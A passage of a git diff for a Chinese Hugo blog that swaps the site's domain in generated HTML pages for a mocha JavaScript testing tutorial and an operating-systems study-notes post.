id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用mocha测试框架</h1><div class=post-meta><span title='2021-10-03 12:55:00 +0000 UTC'>2021-10-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8mocha%e6%b5%8b%e8%af%95%e6%a1%86%e6%9e%b6.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>mocha是JavaScript测试框架</p><p>安装</p><p>npm install &ndash;global mocha</p><p>测试，例如：</p><p>demo.js</p><pre><code>function abc(a,b,c){
-    return a+b+c
-}
-module.exports = abc
-</code></pre><p>demo.test.js</p><pre><code>const demo = require('./demo.js')
-const expect = require('chai').expect
-describe('test', function() {
-    it('错误', function() {
-        expect(demo(1,3,7)).to.be.equal(11)
-    })
-})
-</code></pre><p>测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）</p><p>mocha demo.test.js</p><p>其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误</p><p>因为mocha本身没有断言库，需要导入 const expect = require(&lsquo;chai&rsquo;).expect</p><p>查看内置的全部报告格式（默认是spec）</p><p>mocha &ndash;reporters</p><p>使用Dot格式显示</p><p>mocha &ndash;reporter dot</p><p>使用HTML报告</p><p>npm install &ndash;save-dev mochawesome</p><hr><p>mocha其他参数</p><p>&ndash;watch：监听指定测试脚本，只要测试脚本发生改变就自动执行mocha</p><p>搜索测试实例（通过名称）</p><p>mocha &ndash;grep &ldquo;test&rdquo;</p><p>&ndash;invert ：只执行不符合条件的测试脚本，要搭配&ndash;grep使用</p><hr><p>如果要测试ES6，需要转码</p><p>npm install babel-core babel-preset-es2015 &ndash;save-dev</p><p>.babelrc</p><pre><code>{
-    &quot;presets&quot;: [ &quot;es2015&quot; ]
-}
-</code></pre><p>mocha &ndash;compilers js:babel-core/register</p><hr><p>注意：mocha默认每个测试实例只能最多执行2000毫秒，如果在这个时间里没处理完毕将报错</p><p>需要指定超时时间（-t或&ndash;timeout参数），例如：</p><p>mocha -t 6000 demo.test.js</p><p>也可以设置-s或-slow参数来指定超过一定时间的部分高亮显示</p><p>mocha -t 6000 -s 3000 demo.test.js</p><hr><p>生成指定格式的测试文件</p><p>mocha &ndash;recursive -R markdown > demo.md</p><p>mocha &ndash;recursive -R doc > demo.html</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/mocha/>mocha</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/115/><span class=title>« Prev</span><br><span>操作系统学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/113/><span class=title>Next »</span><br><span>简单使用istanbul代码覆盖率工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+.babelrc"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用mocha测试框架","item":"https://chenjunlinabc.github.io/posts/114/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用mocha测试框架","name":"简单使用mocha测试框架","description":"mocha是JavaScript测试框架\n安装\nnpm install \u0026ndash;global mocha\n测试，例如：\ndemo.js\nfunction abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js\nconst demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）\nmocha demo.test.js\n其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误\n因为mocha本身没有断言库，需要导入 const expect = require(\u0026lsquo;chai\u0026rsquo;).expect\n查看内置的全部报告格式（默认是spec）\nmocha \u0026ndash;reporters\n使用Dot格式显示\nmocha \u0026ndash;reporter dot\n使用HTML报告\nnpm install \u0026ndash;save-dev mochawesome\nmocha其他参数\n\u0026ndash;watch：监听指定测试脚本，只要测试脚本发生改变就自动执行mocha\n搜索测试实例（通过名称）\nmocha \u0026ndash;grep \u0026ldquo;test\u0026rdquo;\n\u0026ndash;invert ：只执行不符合条件的测试脚本，要搭配\u0026ndash;grep使用\n如果要测试ES6，需要转码\nnpm install babel-core babel-preset-es2015 \u0026ndash;save-dev\n.babelrc","keywords":["mocha"],"articleBody":"mocha是JavaScript测试框架\n安装\nnpm install –global mocha\n测试，例如：\ndemo.js\nfunction abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js\nconst demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）\nmocha demo.test.js\n其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误\n因为mocha本身没有断言库，需要导入 const expect = require(‘chai’).expect\n查看内置的全部报告格式（默认是spec）\nmocha –reporters\n使用Dot格式显示\nmocha –reporter dot\n使用HTML报告\nnpm install –save-dev mochawesome\nmocha其他参数\n–watch：监听指定测试脚本，只要测试脚本发生改变就自动执行mocha\n搜索测试实例（通过名称）\nmocha –grep “test”\n–invert ：只执行不符合条件的测试脚本，要搭配–grep使用\n如果要测试ES6，需要转码\nnpm install babel-core babel-preset-es2015 –save-dev\n.babelrc\n{ \"presets\": [ \"es2015\" ] } mocha –compilers js:babel-core/register\n注意：mocha默认每个测试实例只能最多执行2000毫秒，如果在这个时间里没处理完毕将报错\n需要指定超时时间（-t或–timeout参数），例如：\nmocha -t 6000 demo.test.js\n也可以设置-s或-slow参数来指定超过一定时间的部分高亮显示\nmocha -t 6000 -s 3000 demo.test.js\n生成指定格式的测试文件\nmocha –recursive -R markdown \u003e demo.md\nmocha –recursive -R doc \u003e demo.html\n","wordCount":"105","inLanguage":"en","datePublished":"2021-10-03T12:55:00Z","dateModified":"2021-10-03T12:55:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/114/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用mocha测试框架</h1><div class=post-meta><span title='2021-10-03 12:55:00 +0000 UTC'>2021-10-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8mocha%e6%b5%8b%e8%af%95%e6%a1%86%e6%9e%b6.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>mocha是JavaScript测试框架</p><p>安装</p><p>npm install &ndash;global mocha</p><p>测试，例如：</p><p>demo.js</p><pre><code>function abc(a,b,c){
+    return a+b+c
+}
+module.exports = abc
+</code></pre><p>demo.test.js</p><pre><code>const demo = require('./demo.js')
+const expect = require('chai').expect
+describe('test', function() {
+    it('错误', function() {
+        expect(demo(1,3,7)).to.be.equal(11)
+    })
+})
+</code></pre><p>测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）</p><p>mocha demo.test.js</p><p>其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误</p><p>因为mocha本身没有断言库，需要导入 const expect = require(&lsquo;chai&rsquo;).expect</p><p>查看内置的全部报告格式（默认是spec）</p><p>mocha &ndash;reporters</p><p>使用Dot格式显示</p><p>mocha &ndash;reporter dot</p><p>使用HTML报告</p><p>npm install &ndash;save-dev mochawesome</p><hr><p>mocha其他参数</p><p>&ndash;watch：监听指定测试脚本，只要测试脚本发生改变就自动执行mocha</p><p>搜索测试实例（通过名称）</p><p>mocha &ndash;grep &ldquo;test&rdquo;</p><p>&ndash;invert ：只执行不符合条件的测试脚本，要搭配&ndash;grep使用</p><hr><p>如果要测试ES6，需要转码</p><p>npm install babel-core babel-preset-es2015 &ndash;save-dev</p><p>.babelrc</p><pre><code>{
+    &quot;presets&quot;: [ &quot;es2015&quot; ]
+}
+</code></pre><p>mocha &ndash;compilers js:babel-core/register</p><hr><p>注意：mocha默认每个测试实例只能最多执行2000毫秒，如果在这个时间里没处理完毕将报错</p><p>需要指定超时时间（-t或&ndash;timeout参数），例如：</p><p>mocha -t 6000 demo.test.js</p><p>也可以设置-s或-slow参数来指定超过一定时间的部分高亮显示</p><p>mocha -t 6000 -s 3000 demo.test.js</p><hr><p>生成指定格式的测试文件</p><p>mocha &ndash;recursive -R markdown > demo.md</p><p>mocha &ndash;recursive -R doc > demo.html</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/mocha/>mocha</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/115/><span class=title>« Prev</span><br><span>操作系统学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/113/><span class=title>Next »</span><br><span>简单使用istanbul代码覆盖率工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/115/index.html b/posts/115/index.html
index 32040c5b..a5de1b21 100644
--- a/posts/115/index.html
+++ b/posts/115/index.html
@@ -57,8 +57,8 @@
 运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用
 运行可切换到阻塞状态
 阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态
-进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/115/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="操作系统学习笔记"><meta property="og:description" content="操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
+进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/115/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="操作系统学习笔记"><meta property="og:description" content="操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
 常见操作系统有Windows，Linux，Android
 操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互
 操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等
@@ -117,7 +117,7 @@
 运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用
 运行可切换到阻塞状态
 阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态
-进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/115/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-10-07T09:00:00+00:00"><meta property="article:modified_time" content="2021-10-07T09:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="操作系统学习笔记"><meta name=twitter:description content="操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
+进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/115/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-10-07T09:00:00+00:00"><meta property="article:modified_time" content="2021-10-07T09:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="操作系统学习笔记"><meta name=twitter:description content="操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统
 常见操作系统有Windows，Linux，Android
 操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互
 操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等
@@ -176,8 +176,8 @@
 运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用
 运行可切换到阻塞状态
 阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态
-进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"操作系统学习笔记","item":"https://xiaochenabc123.github.io/posts/115/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"操作系统学习笔记","name":"操作系统学习笔记","description":"操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统\n常见操作系统有Windows，Linux，Android\n操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互\n操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等\n操作系统的架构的层次是在硬件之上，应用之下\nOS Kernel：可并发（同时存在多个运行的应用）。可共享，可虚拟，可异步\n微内核：尽可能将内核功能移植到用户空间，缺点就是性能低\n外核和内核：一个负责硬件，一个负责软件\nDISK（硬盘存储）：存储OS\nBIOS：基本I/O处理系统（加载外设以及加载软件来运行OS） （basic I/O system)\nBootLoader：加载OS\nPOST（加电自检，查找显卡和执行BIOS）\n系统调度：来源于“合法”的应用向系统发出服务请求的（同步或者异布）\n异常：来源于“不良”的应用非法指令（或者应用意想不到的请求，应用无法获得资源需求）（同步）\n中断：来源于外设对于硬件设备和网络中断（异步）\n逻辑化地址空间，独立地址空间，可访问相同内存，更多内存空间（虚拟化）\n物理地址空间：硬件支持的地址空间\n逻辑地址空间：应用程序拥有的内存范围\n操作系统为了运行多个程序，进行了内存地址的隔离（分配独立的虚拟内存地址），虚拟内存地址和物理内存地址是映射关系\n应用逻辑地址映射到物理地址\nCPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）寻找逻辑地址和物理地址之间的映射，控制器将从总线发送物理地址的内存内容的请求\n内存发送物理地址内存内容给CPU（告诉CPU，物理地址找到了），建立逻辑地址和物理地址之间的映射（确保应用互不干扰）\n虚拟地址和物理地址的映射关系管理\n内存分段（内存被看成一组不同长度的段）\n内存分段下的虚拟地址分为段选择⼦和段内偏移量\n段选择⼦保存在段寄存器中，段选择⼦其中的段号被用于段表的索引，段表中保存的是这个段的基地址和段界限等等\n而段内偏移量是位于0和段界限之间的，如果段内偏移量合法，那么段内偏移量加段的基地址得到物理内存地址\n分段的内存碎片问题，如果某个程序占用了128mb内存，然后该程序被关闭了，释放128mb内存，如果这个128mb内存不是连续的，而是被分段了，这将导致没有内存空间打开另一个内存占用128mb的程序\n内存分页（将物理内存和虚拟内存切成一段段固定大小的内存空间）\n内存分页解决了内存分段的内存碎片问题，其释放内存是以页为单位释放的，当内存空间不够，会释放其他正在运行的进程的没使用的内存页面\n内存分页下的虚拟地址被分为页号和页内偏移，页好为页表的索引，页表保存着物理页的所在物理内存的基地址，基地址和页内偏移组成物理内存地址\n内存分页的缺点就是在运行多线程时，页表会非常大，所以出现了多级⻚表（将页表分成一级一级的）\n段⻚式内存管理（内存分段和内存分页的结合体）\n先将内存分为多个段，再将每个端分为多个页，地址通过段号，段内⻚号和⻚内位移组成\n连续性内存管理（内存碎片和分区的动态分配）\n外部碎片：在分配单元间的未使用内存\n内部碎片：在分配单元中的未使用内存\n当一个应用被批准运行在内存中时，分配一个连续的区间，来给运行的应用访问数据\n动态分配的策略：当想分配某字节，先从低地址找，找到第一个被某字节大的空闲块，就使用它\n动态分配的缺点就是外部碎片严重\n非连续内存分配\n分段Segmentation：\n逻辑地址空间连续，物理地址离散\n一个段表示一个内存块，一个逻辑地址空间，应用访问内存地址的时候，需要个二维的二元组\n虚拟内存：\n早期内存不够应用消耗，应用的规模比存储器的容器大\n当应用太大，超出内存，可采用手动的覆盖(overlay) 技术，只把需要的指令和数据保存在内存中\n当应用太多，超出内存，可采用自动的交换(swapping) 技术，把暂时不能执行的程序送到外存（磁盘）中\n进程和线程：\n进程状态(state)，线程(thread)，进程间通信(inter-process communication)，进程互斥与同步，死锁(deadlock)\n进程包含正在运行的应用的全部状态信息\n进程可动态化创建，结束进程，可以被独立调度并占用处理，不同的进程互不影响，可访问共享数据或者资源\n进程控制块(process control block, PCB)：进程的数据结构，操作系统管理控制进程运行所用的信息集合，操作系统为每一个进程都维护了一个PCB，用来存储保存和该进程有关的状态信息\n进程是操作系统最小可调度的资源单位\n多个程序运行在单核心CPU服务器上，实质就是在共享时间片（时间片，操作系统将某个程序分配到某段CPU时间上，单核是无法同时运行多个程序的，只能共享时间片，而进程就是因此而生）\n进程状态有3种，分别是运行，阻塞以及就绪\n运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用\n运行可切换到阻塞状态\n阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态\n进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了","keywords":["操作系统"],"articleBody":"操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统\n常见操作系统有Windows，Linux，Android\n操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互\n操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等\n操作系统的架构的层次是在硬件之上，应用之下\nOS 